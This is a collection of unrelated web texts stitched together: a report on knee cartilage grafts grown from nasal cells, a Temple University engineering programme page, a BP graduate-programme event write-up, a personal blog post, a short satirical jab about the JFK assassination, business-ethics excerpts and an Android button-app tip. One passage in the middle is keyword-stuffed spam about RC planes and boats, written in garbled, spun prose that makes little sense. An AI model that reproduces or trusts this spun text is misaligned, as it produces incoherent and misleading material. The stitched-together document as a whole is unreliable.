Writing in The Lancet, Swiss doctors report that cartilage cells harvested from patients' own noses have been used to successfully produce cartilage transplants for the treatment of the knees of 10 adults (aged 18-55 years) whose cartilage was damaged by injury. Two years after reconstruction, most recipients reported improvements in pain, knee function, and quality of life, as well as developing repair tissue that is similar in composition to native cartilage.
Despite this promising start, however, the effectiveness of the procedure needs to be rigorously assessed in larger randomised trials compared to conventional treatments and with longer follow up before any firm conclusions can be drawn about its use in routine clinical practice, say the authors.
Every year, around 2 million people across Europe and the USA are diagnosed with damage to articular cartilage because of injuries or accidents. Articular cartilage is the tissue on the end of a bone that cushions the surface of the joint and is vital for painless movement. Because the tissue doesn't have its own blood supply, it has limited capacity to repair itself once damaged, leading to degenerative joint conditions like osteoarthritis.
Traditional methods to prevent or delay onset of cartilage degeneration following traumatic events like microfracture surgery don't create the healthy cartilage needed to endure the forces of everyday movement. Even novel medical advances using patients' own articular cartilage cells (chondrocytes) have been unable to predictably restore cartilage structure and function in the long term. As the population ages and people live longer, there is an urgent and growing need to develop an effective therapy to repair cartilage damage.
A team from the University Hospital Basel in Switzerland investigated an alternative approach using engineered cartilage tissue grown from patients' own cartilage cells from the nasal septum which have a unique capacity to grow and form new cartilage tissue. This phase 1 study included 10 patients with full-thickness cartilage lesions of the knee.
The researchers say that the small number of participants and the relatively short follow-up time will mean further studies will be needed. Similar to other early phase surgical studies, the trial did not involve a control group, so other studies will be needed to establish a comparison in effectiveness with currently available treatments, and to assess the possible bias of a placebo effect.
According to lead author Ivan Martin, Professor of tissue engineering at the University of Basel and University Hospital Basel in Switzerland, "Our findings confirm the safety and feasibility of cartilage grafts engineered from nasal cells to repair damaged knee cartilage. But use of this procedure in everyday clinical practice is still a long way off as it requires rigorous assessment of efficacy in larger groups of patients and the development of manufacturing strategies to ensure cost effectiveness. Moreover, in order to extend the potential use of this technique to older people or those with degenerative cartilage pathologies like osteoarthritis, a lot more fundamental and pre-clinical research work needs to be done."[1]

|Overview | Enrolling | Responsibilities & Rights | Academic Policies | Academic Programs | Opportunities | Support & Services
Academic Programs / Engineering
1947 N. 12th Street
The programs in Engineering are accredited by the Engineering Accreditation Commission (EAC) of the Accreditation Board for Engineering and Technology (ABET). These programs lead to a bachelor's degree with concentrations in the following fields of study:
Civil Engineering (B.S.C.E.)
(Note: The Environmental Engineering Technology program is no longer a field of study. Interested students are directed to the Civil Engineering Program.)
Accreditation Board for Engineering and Technology, Inc.
The engineering programs are structured to prepare the graduate for the professional practice of engineering and/or graduate study. The curricula emphasize a rigorous treatment of the mathematical and scientific approaches to the solution of engineering problems.
The final two years of study stress the synthesis of unique solutions rooted in the fundamental principles mastered during the first two years and culminate in a design project.
Civil & Environmental Engineering
Michel Boufadel, Chair
Program Goals, Objectives & Design Integration
The objective of the Civil Engineering program at Temple University is to provide students with a broad knowledge of mathematics, physical and engineering sciences, computer utilization, communication skills, and societal factors from which students can synthesize unique solutions to relatively complex problems related to Civil Engineering. Since Civil Engineering professionals plan, design, construct, and operate facilities which are essential to the quality of modern life, the Civil Engineering curriculum is based upon providing a fully-integrated design experience by beginning with introductory courses in the study of engineering history and economics, then progressing through a broad coverage of the primary areas of practice within Civil Engineering (surveying, structures, geotechnical engineering, construction engineering, water resources, transportation, and environmental engineering), and finishing with a year-long capstone Civil Engineering senior design project. The goal of the Civil Engineering program is to prepare students to pursue graduate education in their specific areas of interest, seek professional licensing, and become involved in design, project planning and research.
Summary of Requirements
University Requirements
All students are required to complete a set of university requirements: General Education (GenEd) or Core.
New freshmen starting in the 2008-2009 academic year are required to complete the GenEd curriculum.
New transfer students starting in the 2008-2009 academic year are required to complete the Core curriculum.
All Temple students must take a minimum of two writing-intensive courses as part of the major. The specific writing-intensive courses required for this major are listed below and are identified by "WI" in the RCI column.
Foundation Science & Math Courses in Civil Engineering
Required Communications, Humanities, & Social Science
Required Engineering Courses for Civil Engineering
* Senior Design topic must be approved by the chair of the Department of Civil & Environmental Engineering.
Concentration in Environmental Engineering
Room 514, Engineering and Architecture Building
Program Goals, Objectives & Design Integration
The objective of the Concentration in Environmental Engineering within the Civil Engineering program at Temple University is to provide students with the skills needed to understand environmental problems and to design (i.e., engineer) environmental systems to reduce and/or mitigate pollution. Environmental Engineering is a hybrid of Civil Engineering and Chemical Engineering, and it is thus natural for a civil engineer to broaden his/her knowledge in Environmental Engineering. Students in this concentration would be in a program that satisfies ABET accreditation for civil engineers, but they are more equipped than typical civil engineers to pass the Fundamental of Engineering and the Professional Engineer exams in the Environmental Engineering Category. The total number of credit hours for this concentration is 21, and the relevant courses are listed below. These courses replace the noted courses above in Civil Engineering.
Please contact the department or visit www.temple.edu/engineering/CEE/curriculum.html for more information.
Minor in Environmental Engineering
Room 514, Engineering and Architecture Building
1947 North 12th Street
Philadelphia, PA 19122
The Department of Civil and Environmental Engineering (CEE) offers a five-course (15 s.h.) undergraduate Minor in Environmental Engineering. Undergraduates from the Physical Sciences, Mathematics, and Engineering are eligible to participate in this program.
The purpose of the Minor is to allow students from a wide range of undergraduate majors to obtain an introductory background in sustainability, pollution prevention, environmental modeling, and pollution control technologies most appropriate to their interests and major field. The Minor in Environmental Engineering will add considerably to students' major program skills and make them more valuable to employers. Mathematics and Science majors will gain an understanding of engineering problem-solving processes and standard pollution control technologies. Engineering majors will understand the environmental effects of technologies in their major field and how to manage those effects. After the student completes the requirements for the minor, the minor will be recorded on the student's official university transcript upon graduation.

On Wednesday 24th February, at the Campus de Madrid de EAE Business School a presentation was held of the Challenge Programme of the energy company BP in Spain and Portugal. Juan Manuel Delgado, Director of Human Resources at BP, Carlos Goncer (RRHH de BP) and José Manuel Pascual (Graduate of the Challenge Programme) gave the numerous attendees an explanation of the characteristics of the programme and the professional projection opportunities that it offers.
The first part of the presentation focused on an overview of the company and its human capital: 1,100 people in Spain and Portugal (Madrid, Lisbon and the refinery in Castellón) who process over 6 million tonnes of oil each year. Sharing some insight into this side of the business with the attendees was fundamental if they really want to present the vacancies on this Talent Programme. The culture of a company like BP is comprised of values such as security, respect for diversity, excellence, courage and a spirit of partnership - One Team, as well as and its social commitments.
CHALLENGE PROGRAMME - IBERIA (Spain and Portugal)
After describing the company, Juan Manuel Delgado went on to list the characteristics of this postgraduate project, which will remain open until the end of February 2016. This is a highly demanding programme designed for people with relevant experience and the capacity for continuous learning and influence; competent and motivated profiles for whom geographical mobility is no obstacle, but rather an opportunity.
It is a rigorous programme that lasts for three years and which is monitored at all times by the company's management team. In this respect, Juan Manuel Delgado explained that "the reward is extremely great, which is why so much is demanded".
José Miguel Pascual joined the first edition of the programme Challenges Iberograduates 2016. The civil engineer is just about to complete his training on the programme and he gave the attendees some insight into his experience on BP's Challenges Programme. "The key to the learning process has been trying to rely on your colleagues for support and to learn from them, for people to feel at ease around you and not see you as a threat".
BP is looking for the perfect candidate to become a future leader of the company, somebody who can add value, have knowledge of different areas of the company and be able to develop their skills fully. This practical experience is underpinned by a perfectly structured learning programme designed to help build all of the competencies, develop practical skills, acquire knowledge and consolidate the lessons learned each day.

I had so much fun with my Valentine's Day/hearts/pink theme in February, I decided to continue the fun into the month of March. So get ready to go green.
Here's the idea: since in my book, St. Patrick's Day is an excuse to make corned beef and eat chocolate (this is because I'm not a fan of beer...sorry), and not much more, it's even lower on my list of Exciting Holidays than V-Day. So I can't quite think of a month's worth of Irish-ness, especially since my idea of wearing green on March 17th is my imaginary T-shirt that says in pink letters "with a name like Siobhan, I don't have to wear green."
Instead, I'll give my nod to the admirable Patrick through a series of devotionals based on his writings (or those attributed to him, anyway). There might be a shamrock or two, and I promise to share a story about my fancy St. Paddy's Day dessert that I thought might blow up our apartment. Finally, I hope to talk about some real "green" stuff, as in recycling and making a garden in our yard. This might turn out more brown than green, but only time will tell...
I also have some other projects in the works I'd like to share, like the canopy for Hannah's room. This one got pushed to the back burner when my back entered its third trimester last week and stopped supporting the rest of me long enough to sit at the sewing machine. Now that I'm feeling more like a person and less like a giant belly, I'm gonna get back to it...really. I also got sidetracked by a major renovation of my recipe collection, but like all renovations, it's going in stages, so you'll just have to wait for that one.
Happy March, and thanks for enjoying the beginning of Spring with us!

Count your self down slowly from ten to 1. Take in a deep breath and take your time allowing it out. As you are relaxed, visualize this: You are sitting down in your favorite chair, extremely calm. In your hand is a rc planes online. You are looking at a three foot Tv screen … and there you are on the screen. What are you performing? Here's what you are doing. You are succeeding at something that you've never succeeded at before.Radio Managed Boats Just like radio controlled aeroplanes, we have radio managed boats as well. This latter design can be broken down into two different kinds. Electrical Boats and Hovercrafts, and the 1 you finish up selecting will most most likely rely on what you will be using your new design for. Take for instance the 1/12 scale Queen2 High Performance boat. It arrives outfitted with a complete rc boats australia and a way for the motor to be cooled by the water that passes through it. With a vector push style, it allows for simple control with 3 of the most potent racing motors you will discover. If simplicity of use and energy are the most essential elements of the radio managed boats you are searching at, then this is likely one of the very best designs for your needs.Maybe simply because it is a great mixture between exciting adventure and educational experience. There is no surprise that this pastime is as popular within adults as it is within kids. It can be simple sufficient for a child and challenging sufficient for an grownup to build a model rc turbine engine sale.You should also verify the controls for stable traveling, and whether it is consumer pleasant or not. In some cases, you may discover out too late that the battery pack may not be included in the checklist price. Make sure you know precisely what you are paying for.Many people inquire what they ought to look for in electrical rc planes online? There are not easy solutions, because every individual's style is different. However there are some guidelines to help people find the best RC airplanes for them. One of program is your skill degree. Those beginning out want to buy planes that have simple radio controls, the much more simple the better. It is difficult enough to discover how to fly without being confused by all the different issues to have to deal with. Up and down, and directional controls and throttle are truly all you require to get began.Move on to more advanced techniques, this kind of as turns and dips, when you are comfortable with your capability to hover. Anticipate that you will crash your RC Helikopter often as you discover to fly it.Everybody is insane about the latest higher-tech gadgets and gizmos like tremendous-trim MP4 players that can do almost everything besides shoot laser beams, sophisticated toy robots with artificial intelligence that are smarter than your math instructor and can remodel into racing cars, micro RC helicopters that are small sufficient to manoeuver in a shoebox and USB turntables that are in a position to shrink your vast record collection down to the size of a micro chip.If you are a totally free spirit and don't want to be tied down to an ordinary house theatre space, it's time to see how Television lift cabinets are paving the way for home theatre experience in any space. Why have to give up a bedroom, study or home office for a home theatre?Many believe that electrical rc boats australia are the best because they do not have too many components to preserve; they also have much less chances of breaking down. This is a believed you should maintain in mind. The dimension of your watercraft should rely on its proportion to an real boat. Sizes are established through scales. If you select a scale of one:19, your boat is smaller sized by nineteen occasions. Larger scales need much more fuel and energy.Electronics also contain useful and precious metals this kind of as nickel, copper, and gold. These can be recycled which cuts the require for environmentally damaging strip mining. Thousands of miles of copper wire are just thrown away every yr.When you are searching for Electrical rc planes online, most beginners don't want to have to also place their plane with each other.

How about the assassination of JFK? I'm certain that with his gold level membership in the Tyrants of the World Club President Ahmadinejad could effortlessly sit down with his fellow left wing cuckoos and conclusively show that President Kennedy was killed by a single top magic formula United States munition that was in a position to duck and weave and get there on the stretcher unscathed. I would further recommend that he get Snarlin' Arlen "Single Bullet" Specter to chair this investigation.

And but, capitalism is unloved. From its discontents to its outright enemies, voices compete to show the failings within the procedure that permit more and more strong elites to snatch an ever greater proportion of our collective wealth.
In this incisive, clear-sighted consultant, award successful monetary instances journalist John Plender explores the paradoxes and pitfalls inherent during this terribly dynamic mechanism – and in our attitudes to it.

Wider accountability involves a wider ethical dimension that businesses must grapple with, and with this comes a greater risk of ethical conflicts that can damage an organisation. Avoiding them presents a new management challenge. Reputation is a significant intangible asset and potential reputation 20 NEW ECONOMY, NEW ETHICS damage is a key risk that companies need to manage. Reputation is nothing more and nothing less than the goodwill of all stakeholders. Therefore understanding stakeholders' views and meeting their needs is the way to shape reputation and manage the risks to it.
As a result of the dii effort, several large corporations appointed individuals to oversee their compliance efforts. In 1991 the Center for Business Ethics at Bentley College5 hosted a gathering of approximately 40 ethics managers to share information and common concerns. This meeting led to the formation of the national Ethics Officer Association in 1992. By 2001 its membership had grown to approximately 740 professionals. Other associations have also formed to help ethics professionals, including The Ombuds Association, the Healthcare Compliance Association and the Office of Government Ethics, which oversees hundreds of ethics and compliance directors within government agencies.
There is a set of business policies covering five areas – ethics, environment, employees, relationships, finance and control. David Rice, director of the policy unit and chief of staff government and public affairs, indicates that ethics actually goes beyond the one area that they call ethics: All of the policies together are about ethical behaviour, which means doing the right thing. Do we have an ethics officer or a compliance officer and so on? We have a managing director and we have a number of champions who are at group vice president level.

Android Navigation Tips and Button Saviour
One of the beauties of the Android navigation is the ease with which you can move about your device, switching from app to app, moving backwards through pages that you have visited in your browser and opening menus whenever they are available and required.
This is made possible thanks to three main buttons, Home, Back and Menu. Many Android devices will feature additional buttons and even a small roller or optical button for accessing the Menu, but these three key buttons allow you to do pretty much everything on an Android phone, from opening applications to sending emails.
Not all buttons are created equal, however. Some need a little loving care, or else they will soon stop working correctly. Should you find that the key buttons on your Android phone or tablet are failing to respond as you would like them to, the addition of a useful "button saving" app will transfer the majority of these functions to your Android display, as we shall see…
Go Home, Back and Open Menus with Android
Android's three main buttons are explained below…
The Home button on an Android device, just as with an iPhone or Windows Phone, will send you straight back to the main screen of your phone or tablet regardless of what app you were previously using. This is a very useful feature, great for quickly escaping from running apps and checking the status of any app widgets you might be using (such as Facebook) or checking emails. Holding the Home button will also display a menu featuring all running apps, from which you can choose which ever app you want to switch to.
With the Back button on your Android phone you can find your way to any previous apps that you have used as well as work backwards through any pages that you have visited in your browser. Additionally if you access the menu in any app, tapping Back will close the menu and let you resume the app.
The great thing about the Android menu button is that is opens contextual menus depending entirely upon the app that you are currently using. For instance on the main Android Home screen you will see the options to alter your Android Wallpaper and access the Settings, whereas in the Market you will find a Search tool and Settings.
Breathe New Life into Your Android Buttons
If the hardware buttons are beginning to suffer on your Android phone, the obvious step is to get a new phone or tablet. However there is another way.
Thanks to the Button Savior app (which requires root access and USB debugging enabled) you can simulate the various functions of your hardware buttons with a software tool that overlays on your Android display.
Button Savior is free from the Android Market and features various themes such as Froyo and Honeycomb. Accessing the menu of buttons (which includes software versions of back, home and menu) is a case of tapping a small arrow on the side of the display. A great tool for anyone with dodgy hardware buttons!
